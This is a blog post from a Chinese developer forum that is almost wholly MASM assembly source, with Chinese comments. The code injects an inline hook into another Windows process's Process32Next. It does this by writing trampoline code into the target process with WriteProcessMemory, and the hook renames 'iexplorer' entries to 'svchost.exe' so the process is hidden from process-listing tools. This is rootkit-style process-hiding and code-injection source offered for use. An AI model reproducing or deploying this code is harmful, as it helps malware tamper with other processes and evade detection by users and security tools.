Chinaunix首页 | 论坛 | 博客
  • 博客访问: 1054052
  • 博文数量: 50
  • 博客积分: 10000
  • 博客等级: 上将
  • 技术积分: 2037
  • 用 户 组: 普通用户
  • 注册时间: 2007-04-05 08:03
文章分类
文章存档

2011年(1)

2010年(3)

2009年(17)

2008年(29)

我的朋友

分类: WINDOWS

2008-03-31 20:18:52

.586
.model flat,stdcall
option casemap:none
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include shell32.inc
includelib shell32.lib

CTEXT MACRO y:VARARG
    LOCAL sym
    CONST segment
    ifidni <y>,<>
        sym db 0
    else
        sym db y,0
    endif
    CONST ends
    exitm <offset sym>
ENDM

.data
kernel32 db 'kernel32.dll',0
P32First db 'Process32Next',0
inline db 'Hook Process32Next Hide Process:)',0
sztext db '.text ',0
VirtualAddress dd 0
JMPCODE db 0E9h,010h,10H,10H,10H,0
JMPCODE2 db 0E9h,010h,10H,10H,10H,0
HookFunBuf db 256 dup (?)
.code
GetSectionAddr proc lpBaseAddr ;通过分析PE文件得到相应的.text节的虚拟偏移
local @szBuffer[1024]:byte,@szSectionName[16]:byte
LOCAL VirtualSize:dword
          
        pushad
        mov esi,lpBaseAddr ;BaseAddr,IMAGE_DOS_SIGNATURE
        assume esi:ptr IMAGE_DOS_HEADER
        add esi,[esi].e_lfanew ;+3c
        mov edi,esi ;pe头.IMAGE_NT_HEADERS
        assume edi:ptr IMAGE_NT_HEADERS
        movzx ecx,[edi].FileHeader.NumberOfSections ;段数
        add edi,sizeof IMAGE_NT_HEADERS ;段大小
        assume edi:ptr IMAGE_SECTION_HEADER
        .repeat
                push ecx
                invoke RtlZeroMemory,addr @szSectionName,sizeof @szSectionName
                push esi ;PE头
                push edi ;段名
                mov ecx,8
                mov esi,edi
                lea edi,@szSectionName
                cld
       @@:
                lodsb
                .if ! al
                       mov al,' '
                .endif
                stosb
                loop @B
                pop edi ;段名
                pop esi ;PE头     
                invoke lstrcmpi,CTEXT(".text "),addr @szSectionName ;在段名中查找.text段
                .if eax==0
                       push [edi].Misc.VirtualSize
                       pop ecx
                       push [edi].VirtualAddress
                       pop eax
                       add eax,lpBaseAddr
                       ret
                .endif
                pop ecx
        .untilcxz
        assume edi:nothing
        assume esi:nothing
        popad
        ret
GetSectionAddr endp

;得到相应进程的模块加载的起始地址
GetShell32Base proc uses ebx esi edi remoteproid
            LOCAL hSnapshot:dword
            LOCAL modinfo:MODULEENTRY32
            LOCAL modname[256]:byte
        mov modinfo.dwSize,sizeof MODULEENTRY32
        invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,remoteproid
        mov hSnapshot,eax
        invoke Module32First,hSnapshot,addr modinfo
        .while eax
        lea ecx,modinfo.szModule
        invoke lstrcmpi,offset kernel32,ecx
        .if eax == 0
                mov eax,modinfo.modBaseAddr
                ret
        .endif
        invoke Module32Next,hSnapshot,addr modinfo
        .endw
        invoke CloseHandle,hSnapshot
        
                ret
GetShell32Base endp
InlineHook proc
    LOCAL hProcess:dword
    LOCAL hKernel32:dword
    LOCAL hAPI:dword
    LOCAL PID:dword
    LOCAL ModBase:dword
    LOCAL OLDpro:dword
    LOCAL CodeBuf[128]:byte
    LOCAL optable[2048]:byte
    LOCAL codelen:dword
    LOCAL APIoffset:dword
    LOCAL hAPI2:dword
    LOCAL pHookFun:dword
    LOCAL hooklen1:dword
    LOCAL hookfunlen:dword
    
    lea eax,optable
    push eax
    call disasm_init ;解压缩'指令长度表'
    
    invoke LoadLibrary,offset kernel32 ;得到自身进程DLL的基地址
    mov hKernel32,eax
    invoke GetSectionAddr,hKernel32 ;通过分析PE文件得到相应的.text节的虚拟偏移
    mov VirtualAddress,eax ;一般为1000h
    invoke GetProcAddress,hKernel32,offset P32First ;得到API的入口地址
    mov hAPI,eax
    mov eax,hKernel32
    add eax,VirtualAddress ;得到代码节起始地址
    mov ecx,hAPI
    sub ecx,eax ;函数入口相对于代码节的偏移
    mov APIoffset,ecx
    invoke GetCurrentProcessId
    mov PID,eax
    mov eax,9504
    mov PID,eax
    invoke GetShell32Base,eax
    mov ModBase,eax ;得到目标进程DLL的基地址
    add eax,VirtualAddress ;得到目标进程DLL的代码节基地址
    add eax,APIoffset ;得到目标进程被HOOK的函数的入口地址
    mov hAPI2,eax
    invoke OpenProcess,PROCESS_ALL_ACCESS,FALSE,PID
    mov hProcess,eax
    invoke ReadProcessMemory,hProcess,hAPI2,addr CodeBuf,128,0
    lea esi,CodeBuf
    xor edi,edi
@@nextcode:
    push esi
    lea eax,optable
    push eax
    call disasm_main
    .if eax !=-1
        add edi,eax
        .if edi>=5
        mov codelen,edi ;codelne记录应该COPY的代码字节数
        jmp @@findok
        .else
        add esi,eax
        jmp @@nextcode
        .endif
    .else
    xor eax,eax
    ret
    .endif
@@findok:
        
;写HOOK函数到目标进程DLL的空闲空间中
    mov eax,ModBase
    add eax,VirtualAddress
    sub eax,512
    mov pHookFun,eax
    invoke VirtualProtectEx,hProcess,pHookFun,512,PAGE_EXECUTE_READWRITE,addr OLDpro
    
    ;计算偏移
    mov ecx,@@hookbeg
    mov eax,@@fakeret
    sub eax,ecx
    mov hooklen1,eax
    ;计算HOOK函数的全部代码长度
    mov ecx,@@hookbeg
    mov eax,@@hookfunend
    sub eax,ecx
    mov hookfunlen,eax
    ;把HOOK函数从代码段移到变量中
    mov eax,@@hookbeg
    invoke RtlMoveMemory,offset HookFunBuf,eax,hookfunlen
    ;把HOOK函数从变量中移到目标进程的内存中,这儿只移开头的一部分
    invoke WriteProcessMemory,hProcess,pHookFun,offset HookFunBuf,hooklen1,0
    ;移动被覆盖的原函数代码到目标内存中
    mov ecx,pHookFun
    add ecx,hooklen1
    sub ecx,21
    invoke WriteProcessMemory,hProcess,ecx,addr CodeBuf,codelen,0
    ;跳回原函数
    mov ecx,pHookFun
    add ecx,hooklen1
    mov edx,ecx
    sub ecx,5 ;JMP指令的起始地址
    mov eax,hAPI2
    sub eax,edx
    add eax,codelen
    mov edx,offset JMPCODE2
    inc edx
    mov [edx],eax
    invoke WriteProcessMemory,hProcess,ecx,offset JMPCODE2,5,0
    ;移动真正的HOOK功能代码到目标内存中
    mov ecx,pHookFun
    add ecx,hooklen1
    mov eax,offset HookFunBuf
    add eax,hooklen1
    mov edx,hookfunlen
    sub edx,hooklen1
    invoke WriteProcessMemory,hProcess,ecx,eax,edx,0
    ;设置跳转指令
    mov eax,pHookFun
    sub eax,hAPI2
    sub eax,5
    mov ecx,offset JMPCODE
    inc ecx
    mov [ecx],eax
    

    invoke VirtualProtectEx,hProcess,hAPI2,codelen,PAGE_READWRITE,addr OLDpro
    invoke WriteProcessMemory,hProcess,hAPI2,offset JMPCODE,5,0
    invoke VirtualProtectEx,hProcess,hAPI2,codelen,OLDpro,addr OLDpro
    invoke CloseHandle,hProcess
    
    invoke MessageBox,0,offset inline,offset inline,1
    
            ret
InlineHook endp
@@hookbeg:
push [esp+8] ;ARG2 有几个参数就ESP加几
push [esp+8] ;ARG1
jmp @@fakeret
@@setret:
somenop1 db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h ;这儿填被JMP覆盖的指令
somenop2 db 90h,90h,90h,90h,90h ;填跳回原函数的JMP指令
@@fakeret:
call @@setret
;检查原函数的参数,判断是否改变原函数的执行结果,这时EAX为函数返回值注意保存
sub esp,8
pushad
mov edx,[esp+4+32];原函数倒数第2个参数,进程信息结构的地址
.if eax != ERROR_NO_MORE_FILES
    add edx,36
    mov eax,[edx]
    mov ecx,[edx+4]
    .if (eax == 'pxei')&&( ecx == 'erol') ;把iexplorer换为svchost.exe
        mov eax,'hcvs'
        mov [edx],eax
        mov eax,'.tso'
        mov [edx+4],eax
        mov eax,' exe'
        mov [edx+8],eax
    .endif
.endif
popad
add esp,8
;跳回正常的返回地址
ret 8 ;参数个数*4
@@hookfunend:
start:
    invoke MessageBoxA,0,offset inline,offset inline,1
    invoke InlineHook
    invoke ExitProcess,0
include lde32bin.inc
end start

阅读(1350) | 评论(0) | 转发(0) |
0

上一篇:SockettoIp源码

下一篇:bin2coff 有用的拿去

给主人留下些什么吧!~~